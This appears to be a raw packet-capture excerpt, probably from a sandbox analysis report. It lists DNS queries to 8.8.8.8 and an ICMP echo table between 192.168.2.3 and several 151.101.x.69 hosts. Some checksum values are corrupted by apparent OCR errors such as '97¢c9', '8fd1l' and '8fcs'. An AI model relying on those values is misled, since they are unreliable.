Jun 23, 2022 18:20:04.499547005 CEST 63083 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.518279076 CEST 53 63083 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.567878962 CEST 54726 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.586679935 CEST 53 54726 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.614161015 CEST 58394 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.633547068 CEST 53 58394 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.760605097 CEST 49775 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.777569056 CEST 53 49775 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.905823946 CEST 60195 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.924945116 CEST 53 60195 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:04.956257105 CEST 55197 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:04.973596096 CEST 53 55197 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.033109903 CEST 52252 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.055928946 CEST 53 52252 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.094192028 CEST 58819 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.111218929 CEST 53 58819 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.137207985 CEST 60697 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.156178951 CEST 53 60697 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.179625034 CEST 54306 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.198470116 CEST 53 54306 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.230669022 CEST 50062 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.249789953 CEST 53 50062 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.290739059 CEST 50869 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.310070038 CEST 53 50869 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.332176924 CEST 49767 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.351569891 CEST 53 49767 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.373888016 CEST 61481 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.393193007 CEST 53 61481 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.416383028 CEST 50386 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.435643911 CEST 53 50386 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.472018957 CEST 52857 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.490978956 CEST 53 52857 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.515836000 CEST 52983 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.532984972 CEST 53 52983 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.572774887 CEST 53654 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.592070103 CEST 53 53654 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.633249044 CEST 57813 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.652337074 CEST 53 57813 8.8.8.8 192.168.2.3
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Jun 23, 2022 18:20:05.677494049 CEST 63863 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.696877956 CEST 53 63863 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.724724054 CEST 52372 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.743554115 CEST 53 52372 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.771704912 CEST 56636 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.790566921 CEST 53 56636 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.812845945 CEST 53384 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.831712961 CEST 53 53384 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.860054016 CEST 56049 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.877017021 CEST 53 56049 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.916980982 CEST 56714 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.934561968 CEST 53 56714 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:05.961823940 CEST 51073 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:05.979418993 CEST 53 51073 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.010090113 CEST 56239 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.029213905 CEST 53 56239 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.050787926 CEST 58753 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.069467068 CEST 53 58753 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.114329100 CEST 64733 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.133313894 CEST 53 64733 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.156857967 CEST 63591 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.176018000 CEST 53 63591 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.215336084 CEST 59879 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.235718012 CEST 53 59879 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.264447927 CEST 60212 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.284285069 CEST 53 60212 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.308072090 CEST 51172 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.327133894 CEST 53 51172 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.378506899 CEST 51893 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.397944927 CEST 53 51893 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.438867092 CEST 62623 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.455645084 CEST 53 62623 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.478792906 CEST 63801 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.497607946 CEST 53 63801 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.498186111 CEST 54602 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.514875889 CEST 53 54602 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:06.519499063 CEST 51555 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:06.538569927 CEST 53 51555 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:07.034771919 CEST 63141 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:07.161920071 CEST 53 63141 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.018373966 CEST 52997 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.037431002 CEST 53 52997 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.055512905 CEST 49358 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.072581053 CEST 53 49358 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.115490913 CEST 55918 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.134391069 CEST 53 55918 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.167315006 CEST 60817 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.184268951 CEST 53 60817 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.223299980 CEST 55876 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.242295027 CEST 53 55876 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.269601107 CEST 55658 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.286528111 CEST 53 55658 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.333266020 CEST 53588 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.352230072 CEST 53 53588 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.386759996 CEST 57796 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.405786991 CEST 53 57796 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.473222017 CEST 52493 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.492279053 CEST 53 52493 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.515423059 CEST 64999 53 192.168.2.3 8.8.8.8
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Jun 23, 2022 18:20:12.534265995 CEST 53 64999 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.573996067 CEST 55194 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.594533920 CEST 53 55194 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.632921934 CEST 58290 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.652008057 CEST 53 58290 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.704221010 CEST 55045 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.723105907 CEST 53 55045 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.780889988 CEST 60237 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.799720049 CEST 53 60237 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.833535910 CEST 51547 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.852286100 CEST 53 51547 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.880259037 CEST 65322 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.897022963 CEST 53 65322 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:12.923790932 CEST 59324 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:12.943137884 CEST 53 59324 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.007015944 CEST 54406 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.023763895 CEST 53 54406 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.046946049 CEST 61476 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.065840006 CEST 53 61476 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.114628077 CEST 64155 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.131822109 CEST 53 64155 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.160940886 CEST 59551 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.177753925 CEST 53 59551 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.227821112 CEST 51436 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.246658087 CEST 53 51436 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.298136950 CEST 54879 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.317280054 CEST 53 54879 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.357364893 CEST 62169 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.374425888 CEST 53 62169 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.405963898 CEST 65426 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.424812078 CEST 53 65426 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.465234041 CEST 55589 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.484519958 CEST 53 55589 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.526897907 CEST 53335 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.543736935 CEST 53 53335 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.573168039 CEST 50819 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.590348005 CEST 53 50819 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.615387917 CEST 54959 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.634360075 CEST 53 54959 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.662988901 CEST 53648 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.681865931 CEST 53 53648 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.731441975 CEST 62004 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.750592947 CEST 53 62004 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.774523020 CEST 49267 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.793528080 CEST 53 49267 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.832587004 CEST 56586 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.851989031 CEST 53 56586 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.883538961 CEST 49786 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.900568962 CEST 53 49786 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.935961008 CEST 53239 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:13.955962896 CEST 53 53239 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:13.983608961 CEST 53576 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:14.002399921 CEST 53 53576 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:14.033967972 CEST 60971 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:14.050718069 CEST 53 60971 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:14.072340965 CEST 60286 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:14.091975927 CEST 53 60286 8.8.8.8 192.168.2.3
Jun 23, 2022 18:20:14.127940893 CEST 50722 53 192.168.2.3 8.8.8.8
Jun 23, 2022 18:20:14.146729946 CEST 53 50722 8.8.8.8 192.168.2.3
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Jun 23, 2022 18:20:14.179162025 CEST 64221 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.198113918 CEST 53 64221 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.231977940 CEST 51685 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.251101017 CEST 53 51685 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.274620056 CEST 56387 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.293498039 CEST 53 56387 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.319525957 CEST 57337 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.338994026 CEST 53 57337 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.373727083 CEST 63605 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.393057108 CEST 53 63605 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.439562082 CEST 53155 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.456834078 CEST 53 53155 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.488071918 CEST 63627 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.507103920 CEST 53 63627 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.538341999 CEST 53560 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.557131052 CEST 53 53560 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.591312885 CEST 58533 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.608426094 CEST 53 58533 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.634531975 CEST 51170 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.651554108 CEST 53 51170 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:14.687983990 CEST 54499 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:14.704858065 CEST 53 54499 8.8.8.8 192.168.2.3

Jun 23, 2022 18:20:15.219650984 CEST 62476 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:20:15.239311934 CEST 53 62476 8.8.8.8 192.168.2.3

Jun 23, 2022 18:21:03.343044996 CEST 56558 53 192.168.2.3 8.8.8.8

Jun 23, 2022 18:21:03.359747887 CEST 53 56558 8.8.8.8 192.168.2.3

ICMP Packets

Timestamp Source IP Dest IP Checksum Code Type

Jun 23, 2022 18:19:20.807184935 CEST 192.168.2.3 151.101.193.69  8fd3 Echo

Jun 23, 2022 18:19:20.807243109 CEST 192.168.2.1 192.168.2.3 faff (Time to live Time Exceeded
exceeded in
transit)

Jun 23, 2022 18:19:20.868201971 CEST 192.168.2.3 151.101.193.69  8fd2 Echo

Jun 23, 2022 18:19:20.903938055 CEST 192.168.2.3 151.101.1.69 8fd1l Echo

Jun 23, 2022 18:19:20.939280033 CEST 192.168.2.3 151.101.1.69 8fdo Echo

Jun 23, 2022 18:19:20.989273071 CEST 192.168.2.3 151.101.193.69  8fcf Echo

Jun 23, 2022 18:19:21.026328087 CEST 192.168.2.3 151.101.193.69  8fce Echo

Jun 23, 2022 18:19:21.076262951 CEST 192.168.2.3 151.101.193.69  8fcd Echo

Jun 23, 2022 18:19:21.117827892 CEST 192.168.2.3 151.101.193.69  8fcc Echo

Jun 23, 2022 18:19:21.171032906 CEST 192.168.2.3 151.101.193.69  8fcb Echo

Jun 23, 2022 18:19:21.187875032 CEST 151.101.193.69  192.168.2.3 97cb Echo Reply

Jun 23, 2022 18:19:21.212775946 CEST 192.168.2.3 151.101.1.69 8fca Echo

Jun 23, 2022 18:19:21.227931023 CEST 151.101.1.69 192.168.2.3 97ca Echo Reply

Jun 23, 2022 18:19:21.250479937 CEST 192.168.2.3 151.101.193.69  8fc9 Echo

Jun 23, 2022 18:19:21.265865088 CEST 151.101.193.69  192.168.2.3 97¢c9 Echo Reply

Jun 23, 2022 18:19:21.296780109 CEST 192.168.2.3 151.101.193.69  8fc8 Echo

Jun 23, 2022 18:19:21.312140942 CEST 151.101.193.69  192.168.2.3 97c8 Echo Reply

Jun 23, 2022 18:19:21.336524010 CEST 192.168.2.3 151.101.193.69  8fc7 Echo

Jun 23, 2022 18:19:21.352529049 CEST 151.101.193.69  192.168.2.3 97¢c7 Echo Reply

Jun 23, 2022 18:19:21.392067909 CEST 192.168.2.3 151.101.193.69  8fc6 Echo

Jun 23, 2022 18:19:21.408134937 CEST 151.101.193.69  192.168.2.3 97¢c6 Echo Reply

Jun 23, 2022 18:19:21.432756901 CEST 192.168.2.3 151.101.1.69 8fcs Echo

Jun 23, 2022 18:19:21.449733973 CEST 151.101.1.69 192.168.2.3 97¢c5 Echo Reply

Jun 23, 2022 18:19:21.478547096 CEST 192.168.2.3 151.101.193.69  8fc4 Echo

Jun 23, 2022 18:19:21.495862007 CEST 151.101.193.69  192.168.2.3 97c4 Echo Reply

Jun 23, 2022 18:19:21.523737907 CEST 192.168.2.3 151.101.1.69 8fc3 Echo

Jun 23, 2022 18:19:21.538984060 CEST 151.101.1.69 192.168.2.3 97c3 Echo Reply

Jun 23, 2022 18:19:21.565769911 CEST 192.168.2.3 151.101.193.69  8fc2 Echo
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Jun 23, 2022 18:19:21.581126928 CEST 151.101.193.69 192.168.2.3 97¢2 Echo Reply
Jun 23, 2022 18:19:21.631110907 CEST 192.168.2.3 151.101.1.69 8fcl Echo
Jun 23, 2022 18:19:21.646454096 CEST 151.101.1.69 192.168.2.3 97cl Echo Reply
Jun 23, 2022 18:19:21.670144081 CEST 192.168.2.3 151.101.1.69 8fco Echo
Jun 23, 2022 18:19:21.685558081 CEST 151.101.1.69 192.168.2.3 97c0 Echo Reply
Jun 23, 2022 18:19:21.710927963 CEST 192.168.2.3 151.101.193.69  8fbf Echo
Jun 23, 2022 18:19:21.726233959 CEST 151.101.193.69 192.168.2.3 97bf Echo Reply
Jun 23, 2022 18:19:21.759905100 CEST 192.168.2.3 151.101.193.69  8fbe Echo
Jun 23, 2022 18:19:21.775212049 CEST 151.101.193.69 192.168.2.3 97be Echo Reply
Jun 23, 2022 18:19:21.801506042 CEST 192.168.2.3 151.101.193.69  8fbd Echo
Jun 23, 2022 18:19:21.816745996 CEST 151.101.193.69 192.168.2.3 97bd Echo Reply
Jun 23, 2022 18:19:21.853189945 CEST 192.168.2.3 151.101.193.69  8fbc Echo
Jun 23, 2022 18:19:21.868458986 CEST 151.101.193.69 192.168.2.3 97bc Echo Reply
Jun 23, 2022 18:19:21.896289110 CEST 192.168.2.3 151.101.65.69 8fbb Echo
Jun 23, 2022 18:19:21.911818981 CEST 151.101.65.69 192.168.2.3 97bb Echo Reply
Jun 23, 2022 18:19:21.939336061 CEST 192.168.2.3 151.101.1.69 8fba Echo
Jun 23, 2022 18:19:21.954706907 CEST 151.101.1.69 192.168.2.3 97ba Echo Reply
Jun 23, 2022 18:19:21.981242895 CEST 192.168.2.3 151.101.1.69 8fb9 Echo
Jun 23, 2022 18:19:21.996360064 CEST 151.101.1.69 192.168.2.3 97b9 Echo Reply
Jun 23, 2022 18:19:22.048640966 CEST 192.168.2.3 151.101.193.69  8fb8 Echo
Jun 23, 2022 18:19:22.064837933 CEST 151.101.193.69 192.168.2.3 97b8 Echo Reply
Jun 23, 2022 18:19:22.088344097 CEST 192.168.2.3 151.101.193.69  8fb7 Echo
Jun 23, 2022 18:19:22.103652954 CEST 151.101.193.69 192.168.2.3 97b7 Echo Reply
Jun 23, 2022 18:19:22.128760099 CEST 192.168.2.3 151.101.129.69  8fb6 Echo
Jun 23, 2022 18:19:22.144304991 CEST 151.101.129.69  192.168.2.3 97b6 Echo Reply
Jun 23, 2022 18:19:22.183707952 CEST 192.168.2.3 151.101.193.69  8fb5 Echo
Jun 23, 2022 18:19:22.198954105 CEST 151.101.193.69  192.168.2.3 97b5 Echo Reply
Jun 23, 2022 18:19:22.225393057 CEST 192.168.2.3 151.101.193.69  8fb4 Echo
Jun 23, 2022 18:19:22.240525007 CEST 151.101.193.69  192.168.2.3 97b4 Echo Reply
Jun 23, 2022 18:19:22.271954060 CEST 192.168.2.3 151.101.193.69  8fb3 Echo
Jun 23, 2022 18:19:22.287157059 CEST 151.101.193.69 192.168.2.3 97b3 Echo Reply
Jun 23, 2022 18:19:22.310184956 CEST 192.168.2.3 151.101.193.69  8fb2 Echo
Jun 23, 2022 18:19:22.325366020 CEST 151.101.193.69  192.168.2.3 97b2 Echo Reply
Jun 23, 2022 18:19:22.380469084 CEST 192.168.2.3 151.101.193.69  8fbl Echo
Jun 23, 2022 18:19:22.395653009 CEST 151.101.193.69  192.168.2.3 97b1 Echo Reply
Jun 23, 2022 18:19:22.421405077 CEST 192.168.2.3 151.101.193.69  8fb0 Echo
Jun 23, 2022 18:19:22.436597109 CEST 151.101.193.69  192.168.2.3 97b0 Echo Reply
Jun 23, 2022 18:19:22.462168932 CEST 192.168.2.3 151.101.65.69 8faf Echo
Jun 23, 2022 18:19:22.477667093 CEST 151.101.65.69 192.168.2.3 97af Echo Reply
Jun 23, 2022 18:19:22.504405022 CEST 192.168.2.3 151.101.193.69  8fae Echo
Jun 23, 2022 18:19:22.519761086 CEST 151.101.193.69  192.168.2.3 97ae Echo Reply
Jun 23, 2022 18:19:22.545161963 CEST 192.168.2.3 151.101.193.69  8fad Echo
Jun 23, 2022 18:19:22.560425043 CEST 151.101.193.69  192.168.2.3 97ad Echo Reply
Jun 23, 2022 18:19:22.667258024 CEST 192.168.2.3 151.101.1.69 8fac Echo
Jun 23, 2022 18:19:22.682315111 CEST 151.101.1.69 192.168.2.3 97ac Echo Reply
Jun 23, 2022 18:19:22.709666014 CEST 192.168.2.3 151.101.1.69 8fab Echo
Jun 23, 2022 18:19:22.724711895 CEST 151.101.1.69 192.168.2.3 97ab Echo Reply
Jun 23, 2022 18:19:22.764087915 CEST 192.168.2.3 151.101.193.69  8faa Echo
Jun 23, 2022 18:19:22.779303074 CEST 151.101.193.69  192.168.2.3 97aa Echo Reply
Jun 23, 2022 18:19:22.819134951 CEST 192.168.2.3 151.101.193.69  8fa9 Echo
Jun 23, 2022 18:19:22.834578991 CEST 151.101.193.69  192.168.2.3 97a9 Echo Reply
Jun 23, 2022 18:19:22.860793114 CEST 192.168.2.3 151.101.193.69  8fa8 Echo
Jun 23, 2022 18:19:22.875950098 CEST 151.101.193.69  192.168.2.3 97a8 Echo Reply
Jun 23, 2022 18:19:22.902129889 CEST 192.168.2.3 151.101.193.69  8fa7 Echo
Jun 23, 2022 18:19:22.917324066 CEST 151.101.193.69  192.168.2.3 97a7 Echo Reply
Jun 23, 2022 18:19:22.972757101 CEST 192.168.2.3 151.101.193.69  8fa6 Echo
Jun 23, 2022 18:19:22.987937927 CEST 151.101.193.69  192.168.2.3 97a6 Echo Reply
Jun 23, 2022 18:19:23.035631895 CEST 192.168.2.3 151.101.193.69  8fa5 Echo
Jun 23, 2022 18:19:23.050791979 CEST 151.101.193.69  192.168.2.3 97a5 Echo Reply
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Jun 23, 2022 18:19:23.076351881 CEST 192.168.2.3 151.101.129.69  8fad Echo

Jun 23, 2022 18:19:23.091857910 CEST 151.101.129.69  192.168.2.3 97a4 Echo Reply
Jun 23, 2022 18:19:23.117887020 CEST 192.168.2.3 151.101.193.69  8fa3 Echo

Jun 23, 2022 18:19:23.133167982 CEST 151.101.193.69  192.168.2.3 97a3 Echo Reply
Jun 23, 2022 18:19:23.175183058 CEST 192.168.2.3 151.101.193.69  8fa2 Echo

Jun 23, 2022 18:19:23.190511942 CEST 151.101.193.69  192.168.2.3 97a2 Echo Reply
Jun 23, 2022 18:20:03.826008081 CEST 192.168.2.3 151.101.193.69 2047 Echo

Jun 23, 2022 18:20:03.826054096 CEST 192.168.2.1 192.168.2.3 faff (Time to live Time Exceeded

exceeded in
transit)

Jun 23, 2022 18:20:03.908036947 CEST 192.168.2.3 151.101.193.69 2046 Echo

Jun 23, 2022 18:20:03.954943895 CEST 192.168.2.3 151.101.1.69 2045 Echo

Jun 23, 2022 18:20:03.993962049 CEST 192.168.2.3 151.101.193.69 2044 Echo

Jun 23, 2022 18:20:04.038234949 CEST 192.168.2.3 151.101.1.69 2043 Echo

Jun 23, 2022 18:20:04.129283905 CEST 192.168.2.3 151.101.1.69 2042 Echo

Jun 23, 2022 18:20:04.174390078 CEST 192.168.2.3 151.101.129.69 2041 Echo

Jun 23, 2022 18:20:04.217782974 CEST 192.168.2.3 151.101.129.69 2040 Echo

Jun 23, 2022 18:20:04.265780926 CEST 192.168.2.3 151.101.193.69  203f Echo

Jun 23, 2022 18:20:04.281251907 CEST 151.101.193.69  192.168.2.3 283f Echo Reply
Jun 23, 2022 18:20:04.308516979 CEST 192.168.2.3 151.101.193.69  203e Echo

Jun 23, 2022 18:20:04.323751926 CEST 151.101.193.69  192.168.2.3 283e Echo Reply
Jun 23, 2022 18:20:04.362543106 CEST 192.168.2.3 151.101.193.69  203d Echo

Jun 23, 2022 18:20:04.377784967 CEST 151.101.193.69  192.168.2.3 283d Echo Reply
Jun 23, 2022 18:20:04.409764051 CEST 192.168.2.3 151.101.193.69  203c Echo

Jun 23, 2022 18:20:04.425481081 CEST 151.101.193.69  192.168.2.3 283c Echo Reply
Jun 23, 2022 18:20:04.478147030 CEST 192.168.2.3 151.101.193.69  203b Echo

Jun 23, 2022 18:20:04.493340969 CEST 151.101.193.69  192.168.2.3 283b Echo Reply
Jun 23, 2022 18:20:04.519784927 CEST 192.168.2.3 151.101.193.69  203a Echo

Jun 23, 2022 18:20:04.534943104 CEST 151.101.193.69  192.168.2.3 283a Echo Reply
Jun 23, 2022 18:20:04.587599039 CEST 192.168.2.3 151.101.129.69 2039 Echo

Jun 23, 2022 18:20:04.602905035 CEST 151.101.129.69  192.168.2.3 2839 Echo Reply
Jun 23, 2022 18:20:04.641115904 CEST 192.168.2.3 151.101.65.69 2038 Echo

Jun 23, 2022 18:20:04.656507969 CEST 151.101.65.69 192.168.2.3 2838 Echo Reply
Jun 23, 2022 18:20:04.840598106 CEST 192.168.2.3 151.101.193.69 2037 Echo

Jun 23, 2022 18:20:04.856008053 CEST 151.101.193.69  192.168.2.3 2837 Echo Reply
Jun 23, 2022 18:20:04.926595926 CEST 192.168.2.3 151.101.129.69 2036 Echo

Jun 23, 2022 18:20:04.942029953 CEST 151.101.129.69  192.168.2.3 2836 Echo Reply
Jun 23, 2022 18:20:05.003048897 CEST 192.168.2.3 151.101.193.69 2035 Echo

Jun 23, 2022 18:20:05.018589020 CEST 151.101.193.69  192.168.2.3 2835 Echo Reply
Jun 23, 2022 18:20:05.058944941 CEST 192.168.2.3 151.101.1.69 2034 Echo

Jun 23, 2022 18:20:05.075340986 CEST 151.101.1.69 192.168.2.3 2834 Echo Reply
Jun 23, 2022 18:20:05.113466978 CEST 192.168.2.3 151.101.193.69 2033 Echo

Jun 23, 2022 18:20:05.128782034 CEST 151.101.193.69  192.168.2.3 2833 Echo Reply
Jun 23, 2022 18:20:05.157126904 CEST 192.168.2.3 151.101.129.69 2032 Echo

Jun 23, 2022 18:20:05.172375917 CEST 151.101.129.69  192.168.2.3 2832 Echo Reply
Jun 23, 2022 18:20:05.209692001 CEST 192.168.2.3 151.101.129.69 2031 Echo

Jun 23, 2022 18:20:05.225502014 CEST 151.101.129.69  192.168.2.3 2831 Echo Reply
Jun 23, 2022 18:20:05.250581980 CEST 192.168.2.3 151.101.1.69 2030 Echo

Jun 23, 2022 18:20:05.265697956 CEST 151.101.1.69 192.168.2.3 2830 Echo Reply
Jun 23, 2022 18:20:05.311131954 CEST 192.168.2.3 151.101.65.69 202f Echo

Jun 23, 2022 18:20:05.326468945 CEST 151.101.65.69 192.168.2.3 282f Echo Reply
Jun 23, 2022 18:20:05.352389097 CEST 192.168.2.3 151.101.65.69 202e Echo

